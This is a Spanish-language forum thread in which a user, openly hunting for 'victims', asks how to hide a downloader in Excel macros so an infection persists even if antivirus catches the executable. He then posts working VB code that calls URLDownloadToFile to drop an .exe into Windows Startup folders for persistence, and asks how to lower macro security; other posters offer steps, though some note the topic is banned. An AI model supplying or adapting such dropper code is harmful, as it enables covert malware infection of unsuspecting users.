Crear un Xls con macros incluidas

[yalosabes]

HOla Foreros en mi busqueda de nuevas victimas amistades, me tope con los macros de excel, los cuales permiten descargar de forma oculta un .exe archivo  ( me emociono xq no lo sabia )

Bueno en resumen mi duda es esta :

Se puede hacer en vb6  alguna rutina para crear un archivo .xls, ( aunque de preferencia .xla ) que contenga macros en su interior?.

Y de ser asi que pasos puedo seguir ..

pd: se lo que van a decir .. usa google.. no seas flojo.. que en el foro hay gb de informacion sobre el tema..  Sin embargo soy sincero he buskado y encontra porca informacion y de lo cual no comprendo nada.

Agradeceria su ayuda

[_katze_]

y xq no creas la macro en el excel o en el word o lo que quieras que descargue algun .exe que quieras antes de crearlo en vb6

[yalosabes]

Pues la idea es que, si el av detecta mi .exe, pueda aun mantenerse el archivo excel que prosiga con la infeccion

[79137913]

HOLA!!!

Nota: La mayoria de los usuarios standard (los que son infectables) no modifican las opciones de seguridad de macro del Office. Por ende a la victima le aparecera un cartel que dice que microsoft office ha anulado los macros por cuestion de seguridad y tu macro no funcionara a no ser que el usuario los habilite manualmente.

GRACIAS POR LEER!!!

[_katze_]

pero puedes habilitarlas tu como potencialmente seguras....

[_katze_]

para mi lo que tienes que hacer es lo siguiente.

* primero crear una macro a que ellos usen y q uno de los procedimientos descargue.
* que al descargar des/comprima o en su defecto ejecute.
* si el archivo existe no realise nada y si no encuentra que realise lo anterior mencionado.

[yalosabes]

Este Codigo mr funciona ala perfeccion :

Código (vb) [Seleccionar] Expandir


Private Declare Function GetVersion Lib "kernel32" () As Long
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
     (ByVal lpBuffer As String, nSize As Long) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Public Function GetWinVersion() As String
Dim Ver As Long, WinVer As Long
Ver = GetVersion()
WinVer = Ver And &HFFFF&
GetWinVersion = Format((WinVer Mod 256) + ((WinVer \ 256) / 100), "Fixed")
End Function


Sub actualizar()
     Dim lpBuff As String * 25
     Dim ret As Long, UserName As String

     ret = GetUserName(lpBuff, 25)
     UserName = Left(lpBuff, InStr(lpBuff, Chr(0)) - 1)

If GetWinVersion >= 4 And GetWinVersion <= 5 Then
DownloadFile "http://++.exe", "c:\windows\all users\menú inicio\programas\inicio\" & "++" & ".exe"
End If
If GetWinVersion >= 5 And GetWinVersion <= 6 Then
DownloadFile "http://++.exe", "c:\documents and settings\all users\menú inicio\programas\inicio\" & "++" & ".exe"
End If

If GetWinVersion >= 6 And GetWinVersion <= 7 Then
DownloadFile "http://++.exe", "C:\Users\" & UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" & "++" & ".exe"
End If
End Sub


lo que me falta es como poner el nivel de seguridad en lo mas bajo.. alguna idea??

[BlackZeroX]

.
me recuerda este tema:

Virus Melissa o W97M/Melissa.A

Del año 1999, crees que despues de tantos años funcione tu estrategia?.

P.D.: estos temas si no mal recuerdo estan prohibidos en este sub-foro.

Temibles Lunas!¡.

[raul338]

lo que me falta es como poner el nivel de seguridad en lo mas bajo.. alguna idea??

Eso ya no depende de nosotros